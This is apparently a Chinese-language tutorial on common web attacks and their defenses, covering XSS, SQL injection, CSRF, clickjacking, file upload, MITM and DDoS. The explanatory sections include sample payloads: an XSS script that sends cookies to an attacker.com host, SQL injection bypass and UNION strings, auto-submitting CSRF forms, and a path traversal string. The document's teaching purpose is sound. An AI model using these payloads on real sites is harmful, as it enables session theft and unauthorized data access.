一、跨站脚本攻击(Cross-Site Scripting, XSS)
1. 定义
XSS 是一种客户端代码注入攻击,攻击者将恶意脚本(通常是 JavaScript)注入到合法网页中,当其他用户浏览该页面时,脚本在其浏览器中执行,从而窃取敏感信息、劫持会话或进行钓鱼操作。
2. 攻击原理
Web 应用未对用户输入进行充分过滤或转义,直接将其嵌入 HTML 输出。浏览器无法区分“合法脚本”与“恶意脚本”,一律执行。
3. 出现方式(三种类型)
(1)存储型 XSS(Persistent XSS)
- 场景:用户提交的内容被持久化存储(如评论区、个人简介、论坛帖子)。
- 示例:攻击者在博客评论中写入
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>,所有访问该页面的用户都会触发数据泄露。 - 危害:影响范围广,自动化传播,常用于大规模 Cookie 窃取。
(2)反射型 XSS(Reflected XSS)
- 场景:恶意脚本通过 URL 参数传入,服务器未经处理直接返回给用户。
- 示例:
https://search.example.com?q=<img src=x onerror=alert(1)>,若搜索结果页直接输出q值,则触发弹窗。 - 传播方式:通过钓鱼邮件、短链接诱导点击。
- 危害:单次攻击,依赖社会工程学。
(3)DOM 型 XSS(DOM-based XSS)
-
场景:前端 JavaScript 动态修改 DOM 时使用了未验证的 URL 参数或用户输入。
-
示例:
// 危险代码 const name = new URL(location).searchParams.get('name'); document.getElementById('welcome').innerHTML = 'Hello, ' + name;若访问
?name=<script>alert(1)</script>,则脚本执行。 -
特点:不经过服务器,纯前端漏洞,传统 WAF 难以检测。
4. 防御措施
前端:
-
输出编码:根据上下文转义(HTML、JS、URL、CSS)。
-
避免 innerHTML:优先使用
textContent或安全库(如 DOMPurify)。 -
CSP(Content Security Policy) :
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.trusted.com; object-src 'none';禁止内联脚本和未授权来源。
后端:
-
统一转义输出:模板引擎(如 EJS、Thymeleaf)默认开启自动转义。
-
输入白名单过滤:对富文本使用 HTML 清洗库(如
sanitize-html)。 -
设置安全 Cookie:
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax
二、SQL 注入(SQL Injection)
1. 定义
攻击者通过构造特殊输入,操控应用程序生成的 SQL 语句,实现非授权数据库操作。
2. 攻击原理
应用将用户输入直接拼接到 SQL 查询字符串中,未做参数化处理,导致 SQL 语法被篡改。
3. 出现方式
-
登录绕过:用户名输入
admin'--,密码任意。SELECT * FROM users WHERE username='admin'--' AND password='xxx'--注释掉后续条件,直接登录。 -
数据泄露:利用
UNION SELECT读取其他表。' UNION SELECT username, password FROM admins -- -
盲注(Blind SQLi) :无回显时,通过布尔或时间延迟判断数据。
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a' --
4. 防御措施
后端(核心防线):
-
参数化查询(Prepared Statements) :
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))参数与 SQL 逻辑分离,彻底阻断注入。
-
ORM 框架:Django ORM、Sequelize、TypeORM 等自动处理参数绑定。
-
最小权限原则:数据库账号仅授予必要权限(如禁止
DROP TABLE)。 -
输入验证:ID 必须为数字,邮箱必须符合格式。
前端(辅助):
- 表单校验可提升体验,但不能替代后端校验(攻击者可绕过前端)。
三、跨站请求伪造(CSRF / XSRF)
1. 定义
攻击者诱使已认证用户在不知情的情况下,向目标网站发送非本意的 HTTP 请求(如转账、改密)。
2. 攻击原理
浏览器自动携带 Cookie(包括会话 Cookie),攻击者利用此特性构造恶意请求。
3. 出现方式
-
GET 请求滥用:早期系统用 GET 修改状态。
<img src="https://bank.com/transfer?to=attacker&amount=1000" width="0" height="0"> -
POST 表单自动提交:
<form action="https://shop.com/delete-account" method="POST"> <input type="hidden" name="confirm" value="true"> </form> <script>document.forms[0].submit();</script>
4. 防御措施
前后端协同:
-
SameSite Cookie 属性(现代浏览器支持):
Set-Cookie: sessionid=xxx; SameSite=Lax; SecureLax允许安全的 GET 跨站(如链接),阻止 POST/PUT。 -
CSRF Token:
-
后端生成一次性令牌,存入 Session 或 JWT。
-
前端在表单或 AJAX 头中携带:
<input type="hidden" name="_csrf" value="{{ csrfToken }}">axios.post('/api/transfer', data, { headers: { 'X-CSRF-Token': token } }); -
后端验证令牌是否匹配。
-
-
双重提交 Cookie(简化方案):前端读取 Cookie 中的 token 并放入请求头,后端比对。
⚠️ 注意:仅依赖 Referer/Origin 头不可靠(可能被删除或伪造)。
四、点击劫持(Clickjacking)
1. 定义
攻击者通过透明 <iframe> 覆盖在合法按钮之上,诱使用户点击看似无害区域,实则触发隐藏操作。
2. 攻击原理
利用 CSS 的 opacity: 0 或 z-index 控制层叠顺序,使用户“误点”。
3. 出现方式
- 社交工程页面:显示“点击领取红包”,实际覆盖在“授权第三方应用”按钮上。
- 视频播放器劫持:伪装播放按钮,实则关注/订阅。
4. 防御措施
后端设置响应头:
-
X-Frame-Options(旧标准):
X-Frame-Options: DENY # 禁止任何 frame 嵌入 X-Frame-Options: SAMEORIGIN # 仅允许同源嵌入 -
CSP frame-ancestors(现代标准):
Content-Security-Policy: frame-ancestors 'self' https://trusted.com;
前端 JS 防御(后备):
if (window.top !== window.self) {
window.top.location = window.self.location;
}
但可被 sandbox iframe 绕过,不应作为主要手段。
五、文件上传漏洞
1. 定义
应用未严格校验上传文件,导致攻击者上传可执行脚本(如 .php, .jsp),进而控制服务器。
2. 攻击原理
服务器将上传文件当作静态资源或动态脚本执行。
3. 出现方式
- 绕过扩展名检查:上传
shell.php.jpg,但服务器配置错误仍解析.php。 - MIME 类型欺骗:前端限制
.exe,但抓包修改Content-Type: image/jpeg。 - .htaccess 利用(Apache):上传
.htaccess文件重写解析规则。
4. 防御措施
后端(关键):
-
扩展名白名单:仅允许
.jpg,.png,.pdf。 -
MIME 类型校验:读取文件头(Magic Bytes),而非依赖扩展名。
// Node.js 示例 const fileType = await FileType.fromBuffer(fileBuffer); if (!['image/jpeg', 'image/png'].includes(fileType.mime)) throw new Error('Invalid type'); -
隔离存储:
- 上传目录禁用脚本执行(Nginx:
location ~ .php$ { deny all; }) - 使用独立域名(如
static.example.com),且无 Cookie。
- 上传目录禁用脚本执行(Nginx:
-
重命名文件:使用 UUID,避免路径遍历(如
../../../etc/passwd)。 -
病毒扫描:集成 ClamAV 等工具。
前端:
- 仅做体验优化(如预览、格式提示),不可信。
六、中间人攻击(Man-in-the-Middle, MITM)
1. 定义
攻击者插入通信双方之间,窃听、篡改或伪造数据。
2. 攻击原理
未加密通信(HTTP)或弱加密(如 SSL Stripping)使数据明文传输。
3. 出现方式
- 公共 Wi-Fi 嗅探:捕获登录凭证。
- ARP 欺骗:局域网内冒充网关。
- HTTPS 降级:强制用户使用 HTTP。
4. 防御措施
全站 HTTPS:
-
强制跳转:
301 Redirect+ HSTS。 -
HSTS(HTTP Strict Transport Security) :
Strict-Transport-Security: max-age=31536000; includeSubDomains浏览器未来一年内强制使用 HTTPS。
证书安全:
- 使用有效 CA 证书(Let's Encrypt)。
- 启用 OCSP Stapling,防止吊销证书被滥用。
前端:
- 所有资源使用
https://或协议相对路径(//cdn.com/lib.js)。 - 避免混合内容(Mixed Content)。
七、DDoS 与 DoS 攻击
1. 定义
- DoS:单机耗尽目标资源。
- DDoS:分布式僵尸网络发起海量请求。
2. 攻击原理
消耗带宽、CPU、内存、连接数等资源。
3. 出现方式
- HTTP Flood:大量合法请求(如
/login)。 - SYN Flood:耗尽 TCP 连接队列。
- Slowloris:缓慢发送 HTTP 头,占满连接。
4. 防御措施
网络层:
-
CDN 与云防护:Cloudflare、阿里云 DDoS 高防。
-
限流(Rate Limiting) :
limit_req_zone $binary_remote_addr zone=one:10m rate=1r/s; -
WAF 规则:识别异常 User-Agent、IP 频率。
应用层:
- 异步处理、缓存静态内容。
- 关键接口增加验证码(CAPTCHA)。
总结:构建纵深防御体系
| 攻击类型 | 前端防御 | 后端防御 | 架构/运维 |
|---|---|---|---|
| XSS | CSP、输出编码、HttpOnly Cookie | 输入过滤、模板转义 | WAF、日志监控 |
| SQLi | — | 参数化查询、ORM、最小权限 | 数据库审计 |
| CSRF | SameSite Cookie、Token 携带 | Token 验证、SameSite | — |
| Clickjacking | — | X-Frame-Options、CSP | — |
| 文件上传 | — | 白名单、MIME 校验、隔离存储 | 病毒扫描 |
| MITM | HTTPS 资源、HSTS | 强制 HTTPS、HSTS 头 | 证书管理 |
| DDoS | — | 限流、验证码 | CDN、云防护 |